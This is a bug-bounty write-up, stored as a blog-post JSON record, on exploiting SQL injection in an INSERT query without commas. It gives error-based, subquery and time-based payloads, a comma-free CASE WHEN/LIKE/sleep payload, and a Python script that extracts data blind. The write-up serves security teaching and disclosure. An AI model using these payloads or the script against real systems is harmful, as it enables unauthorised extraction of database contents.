{"id":451,"date":"2019-03-31T19:18:52","date_gmt":"2019-03-31T19:18:52","guid":{"rendered":"http:\/\/blog.redforce.io\/?p=451"},"modified":"2024-12-14T15:24:05","modified_gmt":"2024-12-14T15:24:05","slug":"sql-injection-in-insert-update-query-without-comma","status":"publish","type":"post","link":"https:\/\/blog.redforce.io\/sql-injection-in-insert-update-query-without-comma\/","title":{"rendered":"Comma is forbidden! No worries!! Inject in insert\/update queries without it"},"content":{"rendered":"<p><!--more--><\/p>\n<h2>TL;DR<\/h2>\n<p style=\"text-align: justify;\">This blog post is about the exploitation of one of the interesting SQL injection issues I found during bug hunting.<br \/>\nThe interesting part was the exploitation, the vulnerable endpoint was using insert query and I wasn&#8217;t able to use commas due to the application&#8217;s logic.<br \/>\nAfter some search, I successfully exploited the issue using the following payload<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\">xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'<\/pre>\n<p style=\"text-align: justify;\">as a base for my exploit code, reported it and gained <strong>10,000$<\/strong> for that one.<\/p>\n<h2>An unnecessary introduction<\/h2>\n<p>Injection in the update or insert queries is known since a long time ago.<br \/>\nAs in\u00a0any SQL injection issue, the problem arises from using unsanitized input before passing it to the SQL query.<br \/>\nDummy example<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\">$email=$_POST['email'];\r\n$name=$_POST['name'];\r\n$review=$_POST['review'];\r\n$query=\"insert into reviews(review,email,name) values ('$review','$email','$name')\";\r\nmysql_query($query,$conn);<\/pre>\n<p>A normal request such as<br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\">review=test review&amp;email=info@example.com&amp;name=test name<\/code><\/p>\n<p>will result in the following SQL query<\/p>\n<p><code class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">insert into reviews(review,email,name) values ('test review','info@example.com','test name');<\/code><\/p>\n<p>Selecting that column will result in<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\">MariaDB [dummydb]&gt; insert into reviews(review,email,name) values ('test review','info@example.com','test name');\r\nQuery OK, 1 row affected (0.001 sec)\r\n\r\nMariaDB [dummydb]&gt; select * from reviews;\r\n+-------------+------------------+-----------+\r\n| review      | email            | name      |\r\n+-------------+------------------+-----------+\r\n| test review | info@example.com | test name |\r\n+-------------+------------------+-----------+\r\n1 row in set (0.000 sec)<\/pre>\n<p>So to exploit the issue we have multiple options,<\/p>\n<h4>Exploiting it as an error based injection<\/h4>\n<p>setting any parameter to<\/p>\n<p><code class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\">test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1<\/code><\/p>\n<p>This will result in a SQL error disclosing the DBname<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">MariaDB [dummydb]&gt; insert into reviews(review,email,name) values ('test review' and extractvalue(0x0a,concat(0x0a,(select database()))) and '1','info@example.com','test name');\r\nERROR 1105 (HY000): XPATH syntax error: '\r\ndummydb'<\/pre>\n<h4>Using subqueries<\/h4>\n<p>In case the SQL errors were being handled we may use subqueries to execute our SQL\u00a0query, write the output into any column and read it later.<br \/>\nExample: setting the <strong>review<\/strong> parameter&#8217;s value to<br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">jnk review',(select user()),'dummy name')-- -<\/code><\/p>\n<p>Will result in making the query looks like<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name')-- -,'info@example.com','test name');<\/pre>\n<p>so the following part<\/p>\n<p><code class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">,'info@example.com','test name');<\/code><\/p>\n<p>Will be ignored and the <strong>Email<\/strong> value will just become the output of the\u00a0<code class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">(select user())<\/code>query<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\">MariaDB [dummydb]&gt; insert into reviews(review,email,name) values ('jnk review',(select user()),'dummy name');--,'info@example.com','test name');\r\nQuery OK, 1 row affected (0.001 sec)\r\n\r\nMariaDB [dummydb]&gt; select * from reviews;\r\n+-------------+------------------+------------+\r\n| review      | email            | name       |\r\n+-------------+------------------+------------+\r\n| test review | info@example.com | test name  |\r\n| jnk review  | root@localhost   | dummy name |\r\n+-------------+------------------+------------+\r\n2 rows in set (0.000 sec)\r\n\r\nMariaDB [dummydb]&gt;<\/pre>\n<p>Straight forward and so easy.<\/p>\n<h4>Exploitation using blind injection<\/h4>\n<p>In case there is no error being thrown, being unable to view the data we just inserted or even there were no way to indicate whether if our query resulted in a true or false condition, we can move to the time-based injection, this can be easily done using the following payload<\/p>\n<p><code class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx<\/code><\/p>\n<p>If the query output is true, the DBMS will sleep for 5 seconds, using that technique we can obtain the data needed from the DB.<br \/>\nQuick reference:\u00a0<a href=\"https:\/\/labs.detectify.com\/2017\/02\/14\/sqli-in-insert-worse-than-select\/\">https:\/\/labs.detectify.com\/2017\/02\/14\/sqli-in-insert-worse-than-select\/<\/a><\/p>\n<h2>The problem<\/h2>\n<p>So, overall exploiting such issue isn&#8217;t a big deal, But the scenario in that specific bug was different.<br \/>\nThe vulnerable parameters,\u00a0 <strong>urls[]<\/strong> and <strong>methods[]<\/strong> were getting split by &#8220;<strong>,<\/strong>&#8221; which made it obvious to me after few tries that I won&#8217;t be able to use a comma at the exploitation scenario by any mean.<br \/>\npseudo example<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\">$urls_input=$_POST['urls'];\r\n$urls = explode(\",\", $urls_input);\r\nprint_r($urls);\r\nforeach($urls as $url){\r\n  mysql_query(\"insert into xxxxxx (url,method) values ('$url','method')\")\r\n}<\/pre>\n<p>So based on the previous piece of code if we set the <strong>urls<\/strong> parameter to<\/p>\n<p><code class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">xxx'-(IF((substring((select database()),1,1)) = 'd', sleep(5), 0))-'xxxx<\/code><\/p>\n<p>The input will be split and converted into<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">Array\r\n(\r\n    [0] =&gt; xxx'-(IF((substring((select database())\r\n    [1] =&gt; 1\r\n    [2] =&gt; 1)) = 'd'\r\n    [3] =&gt;  sleep(5)\r\n    [4] =&gt;  0))-'xxxx\r\n)<\/pre>\n<p>Which is totally meaningless when being handled by the SQL server<\/p>\n<h2>The solution<\/h2>\n<p>So the solution\u00a0should include a payload which <strong>doesn&#8217;t contain a comma<\/strong> at all.<br \/>\nSo the 1st step is finding a replace the <strong>IF<\/strong> condition which requires commas to work with another alternative suitable to our case.<br \/>\nThe <strong>case when<\/strong> statement was just perfect for that<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\">The CASE statement goes through conditions and return a value when the first condition is met (like an IF-THEN-ELSE statement). So, once a condition is true, it will stop reading and return the result.\r\nIf no conditions are true, it will return the value in the ELSE clause.\r\nIf there is no ELSE part and no conditions are true, it returns NULL.<\/pre>\n<p>basic usage is<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\">MariaDB [dummydb]&gt; select CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END;\r\n+--------------------------------------------------------------------------+\r\n| CASE WHEN ((select substring('111',1,1)='1')) THEN (sleep(3)) ELSE 2 END |\r\n+--------------------------------------------------------------------------+\r\n|                                                                        0 |\r\n+--------------------------------------------------------------------------+\r\n1 row in set (3.001 sec)<\/pre>\n<p>This will sleep for 3 seconds if the condition is true.<\/p>\n<p>The 2nd step is finding an alternative the <strong>substring<\/strong>, that&#8217;s relatively easy, we may use <strong>like<\/strong> operator to achieve that<br \/>\nBasic example<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\">MariaDB [dummydb]&gt; select CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END;\r\n+----------------------------------------------------------------------+\r\n| CASE WHEN ((select database()) like 'd%') THEN (sleep(3)) ELSE 2 END |\r\n+----------------------------------------------------------------------+\r\n|                                                                    0 |\r\n+----------------------------------------------------------------------+\r\n1 row in set (3.001 sec)<\/pre>\n<p>This will sleep 3 seconds if the 1st char of the\u00a0<code class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">(select database())<\/code>query equal to the character &#8216;<strong>d<\/strong>&#8216;.<\/p>\n<p>The last step is to concatenate this query along with the insert one.<br \/>\nFor some reason, the direct concatenation in the form of<br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">http:\/\/xxxxxxxx\/'-(select CASE WHEN ((select database()) like 'd%') THEN (sleep(4)) ELSE 2 END)-'xxx<\/code><\/p>\n<p>Didn&#8217;t work on the target&#8217;s side,<br \/>\nI had to cast the case when as char to overcome that so the full payload became<br \/>\n<code class=\"EnlighterJSRAW\" data-enlighter-language=\"null\">urls[]=xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'<\/code><\/p>\n<h2>Exploitation<\/h2>\n<p>That would be so exhausting to exploit manually so I wrote a simple script to automate the data extraction process<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\">import requests\r\nimport sys\r\nimport time\r\n# xxxxxxxxxexample.com SQLi POC\r\n# Coded by Ahmed Sultan (0x4148)\r\nif len(sys.argv) == 1:\r\n print '''\r\nUsage : python sql.py \"QUERY\"\r\nExample : python sql.py \"(select database)\"\r\n '''\r\n sys.exit()\r\nquery=sys.argv[1]\r\nprint \"[*] Obtaining length\"\r\nurl = \"https:\/\/xxxxxxxxxexample.com:443\/sub\"\r\nheaders = {\"User-Agent\": \"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0\",\r\n \"Accept\": \"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\",\r\n\"Accept-Language\": \"en-US,en;q=0.5\", \"Accept-Encoding\": \"gzip, deflate\",\r\n\"Cookie\": 'xxxxxxxxxxxxxxxxxxx',\r\n\"Referer\": \"https:\/\/www.xxxxxxxxxexample.com:443\/\",\r\n\"Host\": \"www.xxxxxxxxxexample.com\",\r\n\"Connection\": \"close\",\r\n\"X-Requested-With\":\"XMLHttpRequest\",\r\n\"Content-Type\": \"application\/x-www-form-urlencoded\"}\r\nfor i in range(1,100):\r\n current_time=time.time()\r\n data={\"methods[]\": \"on-site\", \"urls[]\": \"jnkfooo'-cast((select CASE WHEN ((select length(\"+query+\"))=\"+str(i)+\") THEN (sleep(1)) ELSE 2 END) as char)-'\"}\r\n response=requests.post(url, headers=headers, data=data).text\r\n response_time=time.time()\r\n time_taken=response_time-current_time\r\n print \"Executing jnkfooo'-cast((select CASE WHEN ((select length(\"+query+\"))=\"+str(i)+\") THEN (sleep(1)) ELSE 2 END) as char)-'\"+\" took \"+str(time_taken)\r\n if time_taken &gt; 2:\r\n  print \"[+] Length of DB query output is : \"+str(i)\r\n  length=i+1\r\n  break\r\n i=i+1\r\nprint \"[*] obtaining query output\\n\"\r\noutp=''\r\n#Obtaining query output\r\ncharset=\"abcdefghijklmnopqrstuvwxyz0123456789.ABCDEFGHIJKLMNOPQRSTUVWXYZ_@-.\"\r\nfor i in range(1,length):\r\n for char in charset:\r\n  current_time=time.time()\r\n  data={\"methods[]\": \"on-site\", \"urls[]\": \"jnkfooo'-cast((select CASE WHEN (\"+query+\" like '\"+outp+char+\"%') THEN (sleep(1)) ELSE 2 END) as char)-'\"}\r\n  response=requests.post(url, headers=headers, data=data).text\r\n  response_time=time.time()\r\n  time_taken=response_time-current_time\r\n  print \"Executing jnkfooo'-cast((select CASE WHEN (\"+query+\" like '\"+outp+char+\"%') THEN (sleep(1)) ELSE 2 END) as char)-' took \"+str(time_taken)\r\n  if time_taken &gt; 2:\r\n   print \"Got '\"+char+\"'\"\r\n   outp=outp+char\r\n   break\r\n i=i+1\r\nprint \"QUERY output : \"+outp<\/pre>\n<p>Demo usage<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\">[19:38:36] root:\/tmp # python sql7.py '(select \"abc\")'    \r\n[*] Obtaining length\r\nExecuting jnkfooo'-cast((select CASE WHEN ((select length((select \"abc\")))=1) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.538205862045\r\nExecuting jnkfooo'-cast((select CASE WHEN ((select length((select \"abc\")))=2) THEN (sleep(1)) ELSE 2 END) as char)-' took 0.531971931458\r\nExecuting jnkfooo'-cast((select CASE WHEN ((select length((select \"abc\")))=3) THEN (sleep(1)) ELSE 2 END) as char)-' took 5.55048894882\r\n[+] Length of DB query output is : 3\r\n[*] obtaining query output\r\n\r\nExecuting jnkfooo'-cast((select CASE WHEN ((select \"abc\") like 'a%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.5701880455\r\nGot 'a'\r\nExecuting jnkfooo'-cast((select CASE WHEN ((select \"abc\") like 'aa%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.635061979294\r\nExecuting jnkfooo'-cast((select CASE WHEN ((select \"abc\") like 'ab%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.61513400078\r\nGot 'b'\r\nExecuting jnkfooo'-cast((select CASE WHEN ((select \"abc\") like 'aba%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.565879821777\r\nExecuting jnkfooo'-cast((select CASE WHEN ((select \"abc\") like 'abb%') THEN (sleep(1)) ELSE 2 END) as char)-' took 0.553005933762\r\nExecuting jnkfooo'-cast((select CASE WHEN ((select \"abc\") like 'abc%') THEN (sleep(1)) ELSE 2 END) as char)-' took 5.6208281517\r\nGot 'c'\r\nQUERY output : abc<\/pre>\n<p>The script in action<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-458\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" data-src=\"http:\/\/blog.redforce.io\/wp-content\/uploads\/2019\/03\/sql11.png\" alt=\"\" width=\"1732\" height=\"1638\" \/><noscript><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-458\" src=\"http:\/\/blog.redforce.io\/wp-content\/uploads\/2019\/03\/sql11.png\" alt=\"\" width=\"1732\" height=\"1638\" srcset=\"https:\/\/blog.redforce.io\/wp-content\/uploads\/2019\/03\/sql11.png 1732w, https:\/\/blog.redforce.io\/wp-content\/uploads\/2019\/03\/sql11-300x284.png 300w, https:\/\/blog.redforce.io\/wp-content\/uploads\/2019\/03\/sql11-768x726.png 768w, https:\/\/blog.redforce.io\/wp-content\/uploads\/2019\/03\/sql11-1024x968.png 1024w\" sizes=\"auto, (max-width: 1732px) 100vw, 1732px\" \/><\/noscript><\/p>\n<p>And the final result was<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-459\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" data-src=\"http:\/\/blog.redforce.io\/wp-content\/uploads\/2019\/03\/bo4.png\" alt=\"\" width=\"468\" height=\"92\" \/><noscript><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-459\" src=\"http:\/\/blog.redforce.io\/wp-content\/uploads\/2019\/03\/bo4.png\" alt=\"\" width=\"468\" height=\"92\" srcset=\"https:\/\/blog.redforce.io\/wp-content\/uploads\/2019\/03\/bo4.png 468w, https:\/\/blog.redforce.io\/wp-content\/uploads\/2019\/03\/bo4-300x59.png 300w\" sizes=\"auto, (max-width: 468px) 100vw, 468px\" \/><\/noscript><\/p>\n<h2>In a nutshell<\/h2>\n<p>You can achieve the goal by using the following payload as a base for your exploit<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"raw\">xxx'-cast((select CASE WHEN ((MY_QUERY) like 'CHAR_TO_BRUTE_FORCE%25') THEN (sleep(1)) ELSE 2 END) as char)-'<\/pre>\n<p><strong>Happy hacking\u00a0<\/strong><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A writeup regarding exploiting SQL injection issue in an insert query while it wasn&#8217;t possible to use a comma at my payload at all.<\/p>\n","protected":false},"author":2,"featured_media":342,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[29],"tags":[31,32,39],"class_list":["entry","author-a-sultan","has-excerpt","has-more-link","post-451","post","type-post","status-publish","format-standard","has-post-thumbnail","category-web-security","tag-bugbounty","tag-sql-injection","tag-web-pentest"],"_links":{"self":[{"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/posts\/451","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/comments?post=451"}],"version-history":[{"count":15,"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/posts\/451\/revisions"}],"predecessor-version":[{"id":468,"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/posts\/451\/revisions\/468"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/media\/342"}],"wp:attachment":[{"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/media?parent=451"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/categories?post=451"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.redforce.io\/api\/wp\/v2\/tags?post=451"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}